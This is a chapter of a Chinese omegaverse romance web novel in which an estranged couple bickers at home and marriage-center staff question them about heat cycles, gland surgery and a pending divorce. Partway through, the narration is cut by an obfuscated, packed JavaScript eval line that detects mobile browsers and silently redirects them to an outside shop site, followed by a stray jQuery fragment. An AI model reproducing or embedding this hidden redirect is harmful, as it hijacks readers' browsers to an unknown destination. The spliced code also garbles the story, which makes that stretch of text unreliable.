安韵吸吸鼻子,看着镜子里的自己,而后在里面转动了第二道锁。
项廷开刚要转身便听到了那声“咔”,人顿了一下。
安韵回到水流之下,过了会儿大概判断出项廷开已经下楼,才慢慢揭开脖子后被水浸湿的阻隔贴。她的气味渐渐散出,是很淡的一抹花香,没有任何攻击力。
她慢慢蹲了下来,热水滴在后面的腺体上,把那一块地方搞得又烫又红,片刻安韵有点茫然地睁开眼,缓了一会儿后蹙眉站起来,重新贴上阻隔贴。
就这时,忽然传来一道钥匙转动的声音,安韵瞳孔放大,又给锁了回去。
又转,又锁。
又转,又锁。
又转。
这回转不动了,因为安韵紧紧拧着那个锁头,语气终于有了点情绪:“项廷开!”
项廷开似乎就在门外守着,不轻不重地冷哼了一声:“你幼不幼稚?”
谁幼稚?一年没见她都要忘了这就是个神经病,还真去找出浴室钥匙,安韵嘴唇翕动,但脑子里闪过什么,愣是把嘴巴又封了起来,并不去回应。
门外alpha那虽然低沉但莫名带着些轻松的声音一滞,好像意识到自己被再一次冷场,须臾,带着浑身低气压走了。
下楼后,只见叶石定信从山下提着东西上来。
他接过他手里的钥匙,手心收紧:“项先生,刚刚那边有人来了电话。”
叶石定信把东西按顺序放好,接着又把钥匙放回原处,然后去厨房倒了几杯水……做完这一切,远远看见那边正在接电话的项廷开做了个向后的手势,便打算离开,只是走到玄关时忽地回过头,把厨房里那几道菜重新放回去温着。
项廷开看了一会儿号码:“喂?”
“项先生,之前您让我找到的那个人又给我发消息了,说他又想起了一些细节。”
“三年前那个人?”
“是的,三年前您联系到的那个人。”项家的下属有些犹豫,“我把他的电话转给您?他说是这回偶遇了当时一起被绑架的同伴,聊着聊着又想……”
项廷开打断:“电话转过来。”
很快,一个公鸭嗓开口:“项先生?好久不见好久不见!”
项廷开完全没有寒暄的意思:“哪个同伴?”
公鸭嗓反应了好一会儿,讪讪给他报了名字:“当时我们不是都被关在车里了吗,我迷迷糊糊地一直听到某个声音,还以为是做梦呢,但我不久前跟那个同伴聊起来,原来他也听到了!后来想想,我推测就是那个小孩拿着……”
十二岁时项廷开曾被绑架过——这是一例儿童集体绑架案,曾经轰动北联,那时正值进入基地时代没多久,这么大规模的案子不禁让民众往多方面猜想,不过,最后所有小孩都被救出来了。
不对,也不能说“都”。
总之这个公鸭嗓也是被绑架的一员,目前来看,这场意外并没给他留下太多阴影,毕竟为了高昂的信息费,他几乎隔一段时间就要给“项先生”提供些细枝末节的个人回忆——项廷开在那次绑架中遭受了不小的冲击,对此记忆很模糊。
三年前,他拿到了这份在后来被北联加密的绑架案名单,又找到了公鸭嗓和其他几个在名单里的人,希望他们能提供一点关于车上另一个小孩的信息。
多细碎,多模糊的都可以。
“喂。”
“喂,哎,项先生您说。”
耳朵微动,他又听到水声停止了。
项廷开淡淡道:“不用再给我打电话,我不需要了。”
电话那头公鸭嗓大惊,怎么就不需要了啊,他急急出声:“项先生其实我还想说一件事!也是不久前才想起来的!”
然而电话已经挂了。
公鸭嗓一个深吸气,把最后那句话吐出口:“差不多十年前就有人跟你一样!找我调查那个小女孩的信息……”
几分钟后。
安韵不管在何时何地都好好吃饭,尽管,饭桌上敌对气焰明显——项廷开今天大概是回了北机部,穿了衬衫而非作战服,尽管他那气场同所谓的政治精英略微相悖,但无论如何多少显得比昨天斯文、挑剔许多,完全不像是方才翻箱倒柜找锁的人。
安韵越吃表情越不好,全是素,没有她喜欢的人工合成肉,又扒了两口就停下来了,转而开始吃草莓蛋糕。项廷开的面瘫脸立即有些难看,大手一伸:“你什么意思?”
他整个手都把蛋糕盒罩住,出于不想触碰项廷开任何一点皮肤的心理,安韵直接站了起来,前言不搭后语地说:“那我去找叶石定信,他那里的饭好吃。”
项廷开青筋瞬起,声音拔高:“你敢去我让他这辈子都吃不了饭!”
安韵的饮食结构一直不是那么健康,作为医生她自作主张地开了营养片,以让各方面指标都在健康区间,但给她做饭的人好像都不够信任她对自己的专业关照,认为是多余的补救方式。
对此叶石定信的处理方式比较温柔委婉,而项廷开则要粗暴得多——不不不,说到底也不是关心,叶石定信那种才叫关心,而他不就是看自己做的东西被嫌弃所以生气么?
这叫自以为是。
闻言安韵没动,她感觉她心里的那个声音又出现了,不断地给她提着要求,像一双轻灵的手不时地调试那道原则线,如有违背则万般不舒服。
渐渐地她的心里也攥了一把火,为什么这个人要回来?她闭了闭眼,反而走到厨房,打开冰箱。
项廷开冷着脸,就那样看着她,不知是什么样的眼神,也不知过了多久。
一场饭吃得都暗气暗恼,等吃完草莓蛋糕,婚配中心的人小心翼翼地带着仪器,敲门。
面对两张死人脸,婚配中心的人也显得比较严肃:“安韵,项廷开,我们首先要给你们做一个比较简单的问卷调查。”
当今这个alpha:beta:omega为4:2:4的时代,只能通过医学手段检测出alpha对omega信息素的依赖度,在20%到70%,乃适宜婚配区间,只要超过了70%,alpha就极可能出现单向依赖症——因为omega而偏执极端。
信息素作为一种重要人体神经激素,会对人体大脑产生影响,而alpha因受影响之大会出现躯体性症状,标记索求无度,影响日常生活。
大概在十二岁,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13259949|139829||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
alpha、beta和omega就能分泌出自己的信息素,而在十七八岁时alpha和omega就会迎来第一次发情,到了二十岁时,发情频率则会渐渐稳定下来,多数人都是两个月一次,但具体日期在拥有固定标记伴侣前仍然比较无序。
安韵和项廷开,都属于特殊情况。
“上一次发情时间是?”
安韵:"上个月。"
“频率仍然是半年一次?没有任何异样吗?”
安韵:“没有。抑制剂作用很好。”
“还是建议您抽出时间,到医院做一次检测,同伴侣分居时间过长,很有可能导致体内信息素水平紊乱。”那名beta男性工作人员说到一半,拿出了一个针型工具,“或者我现在可以帮您……”
安韵像被隔空扎了似的,反感至极:“我不要。”
另一边。
“由于您对安夫人的信息素依赖度过高,我们今后可能会提高来访频率,希望您能理解。您一年前接受了腺体功能减退手术,但不久后就出差了,所以我们这边的信息还没跟上,请问您现在还在恢复期吗?易感频率是?”
所谓腺体功能减退手术,从某种程度上理解,就是让他在信息素依赖度不变的情况下降低信息素分泌,如此一来,受伴侣影响而增高的信息素水平又反降回了正常线上。
不过在项廷开几次婚后失控后,婚配中心给出的建议并不是进行如此少见的手术,而是……
项廷开换了个舒服点的姿势,半晌,淡声说:“还没。”
“还没恢复?那应该快了吧?”
还没恢复的话,就代表alpha还不会进入易感期、暂时失去了标记能力,婚配中心也暂时不会再去跟踪他的情况。
工作人员似乎不大相信:“还是建议您抽出时间,到婚配中心做一次检测。单向依赖症需要社会谨慎的监视、病人和病人家属长时间的配合,希望您能理解。既然您已经出差回来了,那我们将暂停对安韵夫人和您之间的位置共享措施。”
“她已经关了。”
“……另外,希望您在计划工作的同时,也能想到长时间的分居对家庭的影响。”工作人员有点犹豫,“有任何的争吵和分歧,婚配中心都可以给予帮助的,请不要再擅自做出接受腺体功能减退手术,还有出远差那么一意孤行的决定,这对家庭和谐无益。”
项廷开面无表情。
最后,两边人聚在一起。
工作人员:“对于少见的单向依赖症家庭,婚配中心将提高来访频率,如果你们因工作安排无法前往医院进行信息素水平检测的话,我们会在下周安排一次上门体检。等项先生恢复术后恢复期,那么……呃……为了omega伴侣的情况考虑,两位还是要相互配合彼此的发情期和易感期……”
安韵定在沙发上,听到这句话,瞳孔不由自主地放大。
工作人员:“没有什么问题的话,我们就不打扰了,两位好好休息。”
“等等。”
那个beta男性心一揪,回头。
安韵站起来。
“婚配中心为什么还不通过我的离婚申请?”